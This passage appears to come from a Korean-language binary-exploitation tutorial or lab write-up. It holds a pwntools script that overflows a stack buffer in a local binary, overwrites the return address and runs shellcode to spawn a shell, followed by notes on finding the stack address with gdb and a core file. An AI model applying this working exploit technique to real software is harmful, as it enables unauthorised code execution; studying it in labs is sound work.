from pwn import*# Load the binarybinary_name ='./bof'elf = context.binary =ELF(binary_name)# Generate shellcodeshellcode =asm(shellcraft.sh())# Start the processp =process(binary_name)# Offset to return addressoffset =72# Address in the stack after the return addressret_address =p64(0xfffffffff1a0)# Craft the payloadpayload = b'A'* offset + ret_address + shellcodeprint("Payload length: "+str(len(payload)))# Send the payloadp.send(payload)# Drop to an interactive sessionp.interactive()
여기서 "복잡한" 유일한 것은 호출할 스택의 주소를 찾는 것입니다. 제 경우에는 gdb를 사용하여 찾은 주소로 익스플로잇을 생성했지만, 익스플로잇할 때 작동하지 않았습니다(스택 주소가 약간 변경되었기 때문입니다).
생성된 core 파일을 열고(gdb ./bog ./core) 셸코드 시작의 실제 주소를 확인했습니다.